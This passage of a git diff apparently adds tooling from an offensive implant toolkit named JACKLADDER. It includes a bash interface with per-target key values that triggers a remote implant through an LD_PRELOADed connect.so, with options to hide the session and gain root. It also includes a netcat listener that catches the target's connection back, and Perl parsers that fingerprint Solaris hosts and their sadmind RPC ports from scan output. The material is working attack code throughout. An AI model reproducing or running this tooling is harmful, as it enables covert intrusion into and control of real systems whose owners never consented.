[ "$(echo $PRIME)" ]; then + connect_so=$(type -path connect12.so) +fi + +# +# Get command to run on target. +# +if [ -x "$(command -v readcmd)" ]; then + histfile=${wd}/.jl_history + readcmd -h $histfile -p "remote cmd: " + cmd=$(tail -1 $histfile) +else + echo -n "remote cmd: "; read cmd +fi + +echo running: $cmd > $(cat .TTY) +echo +echo running: LD_PRELOAD=$connect_so CMD=\'$cmd\' PORT=$(cat $wd/.PORT) $cmdln +echo + +eval LD_PRELOAD=$connect_so CMD="\$cmd" PORT=$(cat $wd/.PORT) $cmdln diff --git a/Linux/bin/jl.command b/Linux/bin/jl.command new file mode 100755 index 0000000..61959c9 --- /dev/null +++ b/Linux/bin/jl.command @@ -0,0 +1,315 @@ +#!/bin/bash + +origdir=$(pwd) +cd $(dirname $0) +PATH=$PATH:.:$origdir + +## +## Global variables used. +## + +## Set keys if you don't want to be prompted. + +keys=jackladder20 + +keylist=" + affine_caep + affine_ns_aero + affine_ns_cetin + affine_ns_north + affine_ns_space + aproncover_mgeo + applebar + atticfloor + beautysleep + bigsurf + bolivar_lazyday + changingwheel + crumpet + diablo + dillpill + dillpill_public + evenbreak + falsearch_jicom + featherbed + figureeight_inpbox + figureeight_tulip + goldentwig + golfstroke + iceskate + idletime + intonation_1 + intonation_2 + intonation_3 + intonation_4 + intonation_5 + intonation_6 + intonation_7 + intonation_8 + intonation_9 + intonation_10 + intonation_11 + jackladder20 + lazyday + mantlepiece + nailfile + operasong + patchpanel + picketline + quivertree + slateblack_up3 + slateblack_up4 + offeree + uniformwheel + stonecross + sudbury + subplot_nicnet + tiltop + treatypaper + treatypaper_server4 + " + +wd=$(pwd) # working directory +connect_so=$(type -path connect.so) # locate shared object connect.so +cmdln= # built in dooptions() + +## +## Functions to setup the target's keys +## These functions export the environment variables +## needed by `jl' for operation. +## PRIME used for munging magic/port information +## INVPRIME used to retrieve munged info +## UTC_OFFSET target UTC adjustment +## expr $(date -u +%Y%j%H%M) - $(date -u +%Y%j%H%M) +## theirs ours +## + +affine_caep() { export PRIME=59 INVPRIME=55539; } +affine_ns_aero() { return; } # uses builtin PRIME 20023, INVPRIME 51079 +#affine_ns_aero() { export PRIME=41 INVPRIME=39961; } +affine_ns_cetin() { export PRIME=37 INVPRIME=7085; } +affine_ns_north() { export PRIME=31 INVPRIME=31711; } +applebar() { export PRIME=167 INVPRIME=42775; } +aproncover_mgeo() { export PRIME=151 INVPRIME=32551; } +atticfloor() { export PRIME=43271 INVPRIME=29879; } +beautysleep() { export PRIME=4253 INVPRIME=62901; } +bigsurf() { export PRIME=1129 INVPRIME=52185; } +bolivar_lazyday() { export PRIME=149 INVPRIME=51901; } +changingwheel() { export PRIME=41 INVPRIME=39961; } +crumpet() { export PRIME=1151 INVPRIME=47999; } +demo() { export PRIME=7 INVPRIME=28087; } +diablo() { export PRIME=131 INVPRIME=20011; } +dillpill() { export PRIME=71 INVPRIME=43383; } +dillpill_public() { export PRIME=79 INVPRIME=5807; } +evenbreak() { export PRIME=43 INVPRIME=48771; } +falsearch_jicom() { export PRIME=139 INVPRIME=26403; } +featherbed() { export PRIME=37693 INVPRIME=23573; } +figureeight_inpbox() { export PRIME=47 INVPRIME=18127; } +figureeight_tulip() { export PRIME=53 INVPRIME=21021; } +goldentwig() { export PRIME=97 INVPRIME=41889; } +golfstroke() { export PRIME=5591 INVPRIME=44519; } # IOTC +iceskate() { export PRIME=157 INVPRIME=34229; } +idletime() { export PRIME=103 INVPRIME=6999; } +intonation_1() { export PRIME=101 INVPRIME=45421; } +intonation_2() { export PRIME=83 INVPRIME=17371; } +intonation_3() { export PRIME=107 INVPRIME=44099; } +intonation_4() { export PRIME=109 INVPRIME=2405; } +intonation_5() { export PRIME=113 INVPRIME=49297; } +intonation_6() { export PRIME=179 INVPRIME=44667; } +intonation_7() { export PRIME=181 INVPRIME=60829; } +intonation_8() { export PRIME=191 INVPRIME=28479; } +intonation_9() { export PRIME=193 INVPRIME=36673; } +intonation_10() { export PRIME=197 INVPRIME=32269; } +intonation_11() { export PRIME=229 INVPRIME=48365; } +jackladder20() { return; } # uses builtin PRIME 20023, INVPRIME 51079 +lazyday() { export PRIME=89 INVPRIME=18409; } +mantlepiece() { export PRIME=173 INVPRIME=25381; } +nailfile() { export PRIME=25469 INVPRIME=28117; } +operasong() { export PRIME=50929 INVPRIME=27153; } +patchpanel() { export PRIME=54059 INVPRIME=21379; } +picketline() { export PRIME=5119 INVPRIME=60415; } +quivertree() { export PRIME=61 INVPRIME=38677; } +slateblack_up3() { export PRIME=199 INVPRIME=49399; } +slateblack_up4() { export PRIME=211 INVPRIME=22363; } +stonecross() { export PRIME=239 INVPRIME=11791; } +sudbury() { export PRIME=233 INVPRIME=55129; } +offeree() { export PRIME=223 INVPRIME=47903; } +uniformwheel() { export PRIME=227 INVPRIME=17611; } +subplot_nicnet() { export PRIME=2663 INVPRIME=29015; } +#tiltop() { export PRIME=73 INVPRIME=61945; } +tiltop() { return; } # uses builtin PRIME 20023, INVPRIME 51079 +treatypaper() { export PRIME=67 INVPRIME=19563; } +treatypaper_server4() { export PRIME=163 INVPRIME=45835; } + + +## +## Utility functions +## + +setupkeys() { + local host=$1 + + case $host in + -help | --help | -h | -? | $0 ) usage;; + * ) + if [ $keys ]; then + $keys + return + fi + + echo + echo -e "\t--- Select target keys ---" + echo + + PS3=$(echo -e "\nkeys? ") + select keyinitfct in $keylist; do + if [ $keyinitfct ]; then + $keyinitfct + break + else + echo "Select a listed number." + echo + fi + done + ;; + esac +} + +ckupgrade() { + if [ ${O_PRIME:+1} ]; then + echo -n "Do you want to use the old keys? [n] " + read ans + if [ ${ans:-"n"} = "y" ]; then + export PRIME=$O_PRIME + export INVPRIME=$O_INVPRIME + fi + fi +} + + +dooptions() { + while [ $# -gt 0 ]; do + case $1 in + -o ) shift; + cmdln=$(echo "$cmdln UTC_OFFSET=$1 "); + shift; + continue ;; + -r ) cmdln=$(echo "$cmdln SU= "); + shift; + continue ;; + -s ) cmdln=$(echo "$cmdln HIDEME= "); + shift; + continue ;; + -t ) cmdln=$(echo "$cmdln HIDECON= "); + shift; + continue ;; + esac + cmdln=$(echo "$cmdln $1 ") + shift + done +} + +echoenv() { + echo + echo "- Keys for $keys..." + echo " PRIME = $PRIME" + echo " INVPRIME = $INVPRIME" + [ ${O_PRIME:+1} ] && echo " O_PRIME = $O_PRIME" + [ ${O_INIVPRIME:+1} ] && echo " O_INVPRIME = $O_INVPRIME" + [ ${UTC_OFFSET:+1} ] && echo " UTC_OFFSET = $UTC_OFFSET" + echo +} + +nc_script() { + cat << HERE > $wd/jl.nc +#!/bin/bash + echo "Use ^c twice to stop $0..." + echo " 1 for nc, 1 for while loop" + while true; do + port=\$RANDOM + echo + echo "---> Listening on \$port <---" + echo + echo \$port > $wd/.PORT + echo \$(tty) > $wd/.TTY + nc -l -p \$port + sleep 2 + done +HERE + + chmod +x $wd/jl.nc +} + +usage() { + echo + echo "This is a JACKLADDER interface tool" + echo + echo "- Usage: jl " + echo " -o Offset the date timestamp by minutes" + echo + echo "- Run the following in a control window..." + echo " script -a typescript.\$(date +%Y%m%d)" + echo " $wd/jl.nc" + echo + echo "- Then, as an example, in a command window run..." + echo " $0 telnet target" + echo " remote cmd: ps -ef" + echo + echo " Note: $0 issues the \"remote cmd: \" prompt" + + nc_script # generate the netcat script + + if [ $keys ]; then + $keys + echoenv + fi + exit +} + + +## +## Run the functions to setup the environment for JACKLADDER +## + +eval targ=\${$#} # note: doesn't handle port arg at end of command line +setupkeys $targ +dooptions $@ # this function sets up the $cmdln variable +ckupgrade + +# +# If PRIME is set, then use pre v2.0 trigger format. +# +if [ "$(echo $PRIME)" ]; then + connect_so=$(type -path connect12.so) +fi + +# +# Get command to run on target. +# +if [ "$REALCMD" != "" ]; then + cmd=$REALCMD + PORT="" + else + PORT=$(cat $wd/.PORT) + if [ -x "$(command -v readcmd)" ]; then + histfile=${wd}/.jl_history + readcmd -h $histfile -p "remote cmd: " + cmd=$(tail -1 $histfile) + else + echo -n "remote cmd: "; read cmd + fi +fi + +if [ -e .TTY ] ; then + echo running: $cmd > $(cat .TTY) +else + echo running: $cmd +fi +echo +echo running: ${INBLESS}LD_PRELOAD=$connect_so CMD=+$cmd+ PORT=$PORT $cmdln +echo + +# INBLESS is set in jacktelnet.sh to INBLESS="SU= HIDEME= HIDECON= " if +# IN is blessing us + +eval $INBLESS LD_PRELOAD=$connect_so CMD="\$cmd" PORT=$PORT $cmdln diff --git a/Linux/bin/jl.nc b/Linux/bin/jl.nc new file mode 100755 index 0000000..93485ce --- /dev/null +++ b/Linux/bin/jl.nc @@ -0,0 +1,13 @@ +#!/bin/bash + echo "Use ^c twice to stop ./jl.command..." + echo " 1 for nc, 1 for while loop" + while true; do + port=$RANDOM + echo + echo "---> Listening on $port <---" + echo + echo $port > /projects/etk/implants/jackladder/bin/.PORT + echo $(tty) > /projects/etk/implants/jackladder/bin/.TTY + nc -l -p $port + sleep 2 + done diff --git a/Linux/bin/jlstuff.tar.bz2 b/Linux/bin/jlstuff.tar.bz2 new file mode 100644 index 0000000..e500463 Binary files /dev/null and b/Linux/bin/jlstuff.tar.bz2 differ diff --git a/Linux/bin/jp b/Linux/bin/jp new file mode 100755 index 0000000..d315c54 Binary files /dev/null and b/Linux/bin/jp differ diff --git a/Linux/bin/jparsescan b/Linux/bin/jparsescan new file mode 100755 index 0000000..b4992cb --- /dev/null +++ b/Linux/bin/jparsescan @@ -0,0 +1,364 @@ +#!/usr/bin/env perl +#use strict; +use File::Basename; +use XML::DOM; + +require "getopts.pl"; +$inputdir = "/current/down/cmdout/jscans"; +$prog = basename ${0} ; +$version = "1.9.1.3"; +$returntime = "0"; + +$usagetext = " +Usage: $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr + $prog [-f directory] -n|r|a|x|o|g|b IP-address + $prog [-f directory] (shows unique IPs scanned thus far) + $prog -h (shows this usage statement) + +-p prg gives the port number found for the -V/t/i arguments given +-n IP gives the IP's hostname (from program 100###). +-r IP gives the destination IP of the returned packet. +-a IP gives brpc-endianness architecture guess: \"i386.pc.solaris\" or \"sparc.sun.solaris\" +-x IP gives \"hostname:# users:load ...\" if positive xwin scan +-o IP gives guess at Solaris version from brpc scan +-g IP gives Solaris version and platform from snmp[12] scan(s) +-b IP gives udp port RPC program 100232 is listening on (sadmind) +-B IP gives udp6 port for 100232/sadmind if available (i.e., if + sadmind is available on two ports, this also works) + +-L will NOT ignore scans against 127.0.0.1 (default does) +-A will output all matching entries, not just the last one. + + - $prog is usually used by other programs, not directly. + - \"directory\" defaults to $inputdir. + - The final matching entry found in scanfile is used. + - The null string is returned on failure. + +NOTE: $prog requires that one or more scans have already been done. +"; +foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; +} +$vertext = "\n$prog version $version\n"; + +die("bad option(s)") if (! &Getopts( "vhp:V:t:i:n:f:r:a:x:g:Lo:b:B:A" ) ) ; + +$getlocal = $opt_L ; +$getall = $opt_A ; +&usage if ($opt_h or $opt_v ); +$inputdir = $opt_f if ($opt_f and -s $opt_f) ; +#exit unless (-s $scanfile) ; +$prognum = int $opt_p ; +die("Invalid program number $opt_p") if + ( ($opt_p != $prognum) or ($prognum < 0) ) ; +$vernum = int $opt_V ; +die("Invalid version number $opt_V") if + ( ($opt_V != $vernum) or ($vernum < 0) ) ; +if ($opt_i) { +# die("-i, -r and -n must not be used together") if ($opt_n or $opt_r) ; + die("-i requires -p") unless ($opt_p) ; + $ipaddr = $opt_i ; +} elsif ($opt_n or $opt_r or $opt_a or $opt_g or $opt_x or $opt_o or $opt_b or $opt_B) { + die("-[nra] cannot be used with -p, -V or -t") if ($opt_p or $opt_V or $opt_t) ; + my $c = -1 ; + $c++ if $opt_n ; + $c++ if $opt_r ; + $c++ if $opt_a ; + $c++ if $opt_g ; + $c++ if $opt_x ; + $c++ if $opt_o ; + $c++ if $opt_b ; + $c++ if $opt_B ; + die("use only one of -[nraxog] at a time") if ($c) ; + $ipaddr = "$opt_n$opt_r$opt_a$opt_x$opt_g$opt_o$opt_b$opt_B" ; + $wantname = $opt_n ; + $wantreturnip = $opt_r ; + $wantarch = $opt_a ; + $wantxwin = $opt_x ; + $wantgs = $opt_g ; + $wantbs = ($opt_b or $opt_B) ; + $wantsunos = $opt_o ; +} else { + # default is to dump out all scanned hosts found + $findips++ ; +} +if ($ipaddr) { + die("Bad IP $ipaddr") if ( ! &ipcheck($ipaddr)) ; +} else { + #$ipaddr = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ; +} +$proto = lc $opt_t ; +$vernum = "\\d+" if ! $vernum ; +$proto = "\\w+" if ! $proto ; +$rpc = "\\.\[a-z\]+"; + +die ("$prog takes only \"-\" delimited arguments") if ($#ARGV >= 0) ; + +#lets Parse through our Scan files looking for the scan results we want +$parser = new XML::DOM::Parser; +chdir("$inputdir"); +opendir($scandir, "$inputdir"); +#print "$ipaddr\n"; +if($ipaddr){ + #print "1$inputdir\n"; + @dir = grep /$ipaddr/, readdir($scandir); +} +else { #print "2$inputdir\n"; + @dir = readdir($scandir); +} + +my $returnValue; +my $returntime; + + +@filelist = {}; + +foreach $dirent (@dir){ + opendir($tempdir, "$dirent"); + @files = readdir($tempdir); + foreach $file (@files) { + push(@filelist, "$dirent/$file"); + } +} +foreach $file (@filelist){ + if($file=~ /^.*\.xml/){ + #print "$file\n"; + $doc = $parser->parsefile($file); + $nodelist = $doc->getElementsByTagName(scanResult); + $nodecount= $nodelist->getLength(); + + for($i = 0; $i < $nodecount; $i++){ + $node = $nodelist->item($i); + $attrs = $node->getAttributes(); + $type = $attrs->getNamedItem(type); + $typeName= $type->getNodeValue(); + #print "Type Name: $typeName\n"; + $targetlist = $node->getElementsByTagName(target); + $targetlistlen = $targetlist->getLength(); + $responselist = $node->getElementsByTagName(responseAddress); + $responselistlen = $responselist->getLength(); + $resultlist = $node->getElementsByTagName(parsedText); + $resultlistlen = $resultlist->getLength(); + $sourcelist = $node->getElementsByTagName(source); + $sourcelistlen = $sourcelist->getLength(); + $timelist = $node->getElementsByTagName(timestamp); + $timelistlen = $timelist->getLength(); + + #print "$targetlistlen\n"; + if($targetlistlen > 0){ + $targetnode = $targetlist->item(0); + $target = $targetnode->getFirstChild(); + $targetValue = $target->getNodeValue(); + $targetValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $targetValue = $1; + #print "Target: $1\n"; + } + if($responselistlen > 0){ + $responsenode = $responselist->item(0); + $response = $responsenode->getFirstChild(); + $responseValue = $response->getNodeValue(); + $responseValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $responseValue = $1; + #print "Response Address: $1\n"; + + } + + if($sourcelistlen > 0){ + $sourcenode = $sourcelist->item(0); + $source = $sourcenode->getFirstChild(); + $sourceValue = $source->getNodeValue(); + $sourceValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $sourceValue = $1; + #print "Source Address: $1\n"; + + } + if($timelistlen > 0){ + $timenode = $timelist->item(0); + $time = $timenode->getFirstChild(); + $timeValue = $time->getNodeValue(); + $timeValue =~ /\s*(.*)\s*/; + $timeValue = $1; + #print "Time: $timeValue\n"; + + } + if($resultlistlen > 0){ + $resultnode = $resultlist->item(0); + $result = $resultnode->getFirstChild(); + $resultValue = $result->getNodeValue(); + #print "Result: \n$resultValue\n"; + } + + if ($findips){ + if($targetValue){ + $scanlist{"$targetValue"}++; + #push(@scanlist, @scan); + } + if($responseValue){ + $scanlist{"$responseValue"}++; + } + } + elsif ((($prognum) ||($wantbs))&& (($typeName eq "brpc") || ($typeName eq "rpc"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + if ($wantbs){ + $prognum = "100232"; + } + $returntime = $timeValue; + #print "$resultValue\n"; + @lines = split /\n/, $resultValue; + # print "$prognum, $vernum, $proto\n"; + foreach $line (@lines){ + $tmp = $1 if ($line =~ /^\s*$prognum\s+$vernum\s+$proto\s+(\S+)/); + $returnvalue = $tmp; + if (my ($oct1,$oct2) = $tmp =~ /^::\.(\d+)\.(\d+)/) { + #print "$1, $2\n"; + $tmp = 256*$oct1 + $oct2 ; + $altbs = $tmp ; + } + $returnvalue = $altbs if ($opt_B); + } + } + } + } + elsif (($wantname) && ($typeName eq "brpc")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $prognum = "100\\d\\d\\d"; + $returntime = $timeValue; + #print "$resultValue\n"; + @lines = split /\n/, $resultValue; + #print "$prognum, $vernum, $proto, $rpc\n"; + foreach $line (@lines){ + + $tmp = $1 if ($line =~ /^\s*$prognum\s+$vernum\s+$proto\s+([\S]+)$rpc/); + #print "$1\n" if $1; + } + } + #print "*$tmp\n"; + $returnvalue = $tmp; + } + } + elsif ($wantreturnip){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + $returnvalue = $sourceValue; + } + } + } + elsif (($wantarch) && ($typeName eq "brpc")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $prognum = "100\\d\\d\\d"; + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + #print "$prognum, $vernum, $proto\n"; + foreach $line (@lines){ + if (($tmp) = ( $line =~ /^\s*$prognum\s+$vernum\s+$proto\s+(\S+)/ )) { + if ($tmp =~ /\\000\\000$/) { + $returnvalue = "i386.pc.solaris" unless ($tmp =~ /^\\000\\000/) ; + } elsif ($tmp =~ /^\\000\\000/) { + $returnvalue = "sparc.sun.solaris" unless ($tmp =~ /\\000\\000$/) ; + } + } +# $line =~ /^\s*$prognum\s+$vernum\s+$proto\s+([\S]+)/; +# $tmp = $1 if $1; +# $returnvalue = "i386.pc.solaris" if ($tmp =~ /\\000\\000$/); +# $returnvalue = "sparc.sun.solaris" if ($tmp =~ /^\\000\\000/); + } + } + } + } + elsif (($wantxwin) && ($typeName eq "xwin")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + #print "$resultValue\n"; + $resultValue =~ /\s+(\S+)\s+(\d+).*\s+load:\s+(.*)/; + chomp($hostname = $1); + chomp($userson = $2); + chomp($load = $3); + $load =~ s/ //g ; + $returnvalue = "" if (! $returnvalue); + $returnvalue = "$hostname" if (length $hostname) ; + $returnvalue .= "+$userson users" if (length $userson) ; + $returnvalue .= "+load=$load" if (length $load) ; + } + } + } + elsif (($wantgs) && (($typeName eq "snmp1") || ($typeName eq "snmp2") || ($typeName eq "mibiisa"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + foreach $line (@lines){ + #print "$line\n"; + $bool = "yes" if ($line =~ /\/.*(snmpd|mibiisa)/i) ; + $bool .= " -r " if (/mibiisa.* -r/); + $ver = "SunOS $1" if ($line =~ /SunOS\s+(\S+)\s/i) ; + chomp($platform = $1) if ($line =~ /Sun SNMP Agent,\s+(.*)/i) ; + $returnvalue = "" ; + $returnvalue .= "$bool " if (length $bool) ; + $returnvalue .= "$ver" if (length $ver) ; + $returnvalue .= "$ver2" if (length $ver2) ; + $returnvalue .= " $platform" if (length $platform) ; + } + } + } + } + elsif (($wantsunos) && (($typeName eq "snmp1") || ($typeName eq "snmp2") || ($typeName eq "brpc"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + foreach $line (@lines){ + $gotsunos = ($line =~ /program version netid address service owner/ ); + chomp($ver = $1) if ($line =~ /Sun SNMP Agent,\s+(.*)/i) ; + chomp($ver = $1) if ($line =~ /SunOS\s+(\S+)\s/i) ; + if (line =~ /\d+\s+\d+\s+\w+\s+\S+\s+\S*(sol)[ \-]{0,1}(\d+)/i) { + ($ver,$rev) = (lc $1,$2); + $returnvalue = "${ver}2.$rev+" if $rev > $maxrev ; + $maxrev = $rev if $rev >= $maxrev ; + } + $returnvalue = $ver unless $returnvalue ; + $returnvalue = "Sol2.4+" if ($gotsunos and ! $returnvalue) ; + } + } + } + } + } + print "$returnvalue\n" if(($getall)&& ($returnvalue)); + } +} + +if(($findips)){ + foreach $item (keys %scanlist){ + print "$item\n"; + } + exit; +} +if(($returnvalue)&&(! $getall)){ + print "$returnvalue\n"; +} +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + diff --git a/Linux/bin/jparsescan.old b/Linux/bin/jparsescan.old new file mode 100755 index 0000000..ebe0a82 --- /dev/null +++ b/Linux/bin/jparsescan.old @@ -0,0 +1,347 @@ +#!/usr/bin/env perl +#use strict; +use File::Basename; +use XML::DOM; + +require "getopts.pl"; +$inputdir = "/current/down/cmdout/jscans"; +$prog = basename ${0} ; +$version = "1.9.1.2"; +$returntime = "0"; + +$usagetext = " +Usage: $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr + $prog [-f directory] -n|r|a|x|o|g|b IP-address + $prog [-f directory] (shows unique IPs scanned thus far) + $prog -h (shows this usage statement) + +-p prg gives the port number found for the -V/t/i arguments given +-n IP gives the IP's hostname (from program 100###). +-r IP gives the destination IP of the returned packet. +-a IP gives brpc-endianness architecture guess: \"i386.pc.solaris\" or \"sparc\" +-x IP gives \"hostname:# users:load ...\" if positive xwin scan +-o IP gives guess at Solaris version from brpc scan +-g IP gives Solaris version and platform from snmp[12] scan(s) +-b IP gives udp port RPC program 100232 is listening on (sadmind) +-B IP gives udp6 port for 100232/sadmind if available (i.e., if + sadmind is available on two ports, this also works) + +-L will NOT ignore scans against 127.0.0.1 (default does) +-A will output all matching entries, not just the last one. + + - $prog is usually used by other programs, not directly. + - \"directory\" defaults to $inputdir. + - The final matching entry found in scanfile is used. + - The null string is returned on failure. + +NOTE: $prog requires that one or more scans have already been done. +"; +foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; +} +$vertext = "\n$prog version $version\n"; + +die("bad option(s)") if (! &Getopts( "vhp:V:t:i:n:f:r:a:x:g:Lo:b:B:A" ) ) ; + +$getlocal = $opt_L ; +$getall = $opt_A ; +&usage if ($opt_h or $opt_v ); +$inputdir = $opt_f if ($opt_f and -s $opt_f) ; +#exit unless (-s $scanfile) ; +$prognum = int $opt_p ; +die("Invalid program number $opt_p") if + ( ($opt_p != $prognum) or ($prognum < 0) ) ; +$vernum = int $opt_V ; +die("Invalid version number $opt_V") if + ( ($opt_V != $vernum) or ($vernum < 0) ) ; +if ($opt_i) { +# die("-i, -r and -n must not be used together") if ($opt_n or $opt_r) ; + die("-i requires -p") unless ($opt_p) ; + $ipaddr = $opt_i ; +} elsif ($opt_n or $opt_r or $opt_a or $opt_g or $opt_x or $opt_o or $opt_b or $opt_B) { + die("-[nra] cannot be used with -p, -V or -t") if ($opt_p or $opt_V or $opt_t) ; + my $c = -1 ; + $c++ if $opt_n ; + $c++ if $opt_r ; + $c++ if $opt_a ; + $c++ if $opt_g ; + $c++ if $opt_x ; + $c++ if $opt_o ; + $c++ if $opt_b ; + $c++ if $opt_B ; + die("use only one of -[nraxog] at a time") if ($c) ; + $ipaddr = "$opt_n$opt_r$opt_a$opt_x$opt_g$opt_o$opt_b$opt_B" ; + $wantname = $opt_n ; + $wantreturnip = $opt_r ; + $wantarch = $opt_a ; + $wantxwin = $opt_x ; + $wantgs = $opt_g ; + $wantbs = ($opt_b or $opt_B) ; + $wantsunos = $opt_o ; +} else { + # default is to dump out all scanned hosts found + $findips++ ; +} +if ($ipaddr) { + die("Bad IP $ipaddr") if ( ! &ipcheck($ipaddr)) ; +} else { + #$ipaddr = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ; +} +$proto = lc $opt_t ; +$vernum = "\\d+" if ! $vernum ; +$proto = "\\w+" if ! $proto ; +$rpc = "\\.\[a-z\]+"; + +die ("$prog takes only \"-\" delimited arguments") if ($#ARGV >= 0) ; + +#lets Parse through our Scan files looking for the scan results we want +$parser = new XML::DOM::Parser; +chdir("$inputdir"); +opendir($scandir, "$inputdir"); +#print "$ipaddr\n"; +if($ipaddr){ + #print "1$inputdir\n"; + @dir = grep /$ipaddr/, readdir($scandir); +} +else { #print "2$inputdir\n"; + @dir = readdir($scandir); +} + +my $returnValue; +my $returntime; + +foreach $file (@dir){ + if($file=~ /^.*\.xml/){ + #print "$file\n"; + $doc = $parser->parsefile($file); + $nodelist = $doc->getElementsByTagName(scanResult); + $nodecount= $nodelist->getLength(); + + for($i = 0; $i < $nodecount; $i++){ + $node = $nodelist->item($i); + $attrs = $node->getAttributes(); + $type = $attrs->getNamedItem(type); + $typeName= $type->getNodeValue(); + #print "Type Name: $typeName\n"; + $targetlist = $node->getElementsByTagName(target); + $targetlistlen = $targetlist->getLength(); + $responselist = $node->getElementsByTagName(responseAddress); + $responselistlen = $responselist->getLength(); + $resultlist = $node->getElementsByTagName(parsedText); + $resultlistlen = $resultlist->getLength(); + $sourcelist = $node->getElementsByTagName(source); + $sourcelistlen = $sourcelist->getLength(); + $timelist = $node->getElementsByTagName(timestamp); + $timelistlen = $timelist->getLength(); + + #print "$targetlistlen\n"; + if($targetlistlen > 0){ + $targetnode = $targetlist->item(0); + $target = $targetnode->getFirstChild(); + $targetValue = $target->getNodeValue(); + $targetValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $targetValue = $1; + #print "Target: $1\n"; + } + if($responselistlen > 0){ + $responsenode = $responselist->item(0); + $response = $responsenode->getFirstChild(); + $responseValue = $response->getNodeValue(); + $responseValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $responseValue = $1; + #print "Response Address: $1\n"; + + } + + if($sourcelistlen > 0){ + $sourcenode = $sourcelist->item(0); + $source = $sourcenode->getFirstChild(); + $sourceValue = $source->getNodeValue(); + $sourceValue =~ /(\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?)/; + $sourceValue = $1; + #print "Source Address: $1\n"; + + } + if($timelistlen > 0){ + $timenode = $timelist->item(0); + $time = $timenode->getFirstChild(); + $timeValue = $time->getNodeValue(); + $timeValue =~ /\s*(.*)\s*/; + $timeValue = $1; + #print "Time: $timeValue\n"; + + } + if($resultlistlen > 0){ + $resultnode = $resultlist->item(0); + $result = $resultnode->getFirstChild(); + $resultValue = $result->getNodeValue(); + #print "Result: \n$resultValue\n"; + } + + if ($findips){ + if($targetValue){ + $scanlist{"$targetValue"}++; + #push(@scanlist, @scan); + } + if($responseValue){ + $scanlist{"$responseValue"}++; + } + } + elsif ((($prognum) ||($wantbs))&& (($typeName eq "brpc") || ($typeName eq "rpc"))){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + if ($wantbs){ + $prognum = "100232"; + } + $returntime = $timeValue; + #print "$resultValue\n"; + @lines = split /\n/, $resultValue; + # print "$prognum, $vernum, $proto\n"; + foreach $line (@lines){ + $tmp = $1 if ($line =~ /^\s*$prognum\s+$vernum\s+$proto\s+(\S+)/); + $returnvalue = $tmp; + if (my ($oct1,$oct2) = $tmp =~ /^::\.(\d+)\.(\d+)/) { + #print "$1, $2\n"; + $tmp = 256*$oct1 + $oct2 ; + $altbs = $tmp ; + } + $returnvalue = $altbs if ($opt_B); + } + } + } + } + elsif (($wantname) && ($typeName eq "brpc")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $prognum = "100\\d\\d\\d"; + $returntime = $timeValue; + #print "$resultValue\n"; + @lines = split /\n/, $resultValue; + #print "$prognum, $vernum, $proto, $rpc\n"; + foreach $line (@lines){ + + $tmp = $1 if ($line =~ /^\s*$prognum\s+$vernum\s+$proto\s+([\S]+)$rpc/); + #print "$1\n" if $1; + } + } + #print "*$tmp\n"; + $returnvalue = $tmp; + } + } + elsif ($wantreturnip){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $returntime = $timeValue; + $returnvalue = $sourceValue; + } + } + } + elsif (($wantarch) && ($typeName eq "brpc")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq "$ipaddr")){ + if(($returntime lt $timeValue)){ + $prognum = "100\\d\\d\\d"; + $returntime = $timeValue; + @lines = split /\n/, $resultValue; + #print "$prognum, $vernum, $proto\n"; + foreach $line (@lines){ + $line =~ /^\s*$prognum\s+$vernum\s+$proto\s+([\S]+)/; + $tmp = $1 if $1; + $returnvalue = "i386.pc.solaris" if ($tmp =~ /\\000\\000$/); + $returnvalue = "sparc" if ($tmp =~ /\\000\\000/); + } + } + } + } + elsif (($wantxwin) && ($typeName eq "xwin")){ + if (($targetValue eq "$ipaddr") || ($responseValue eq 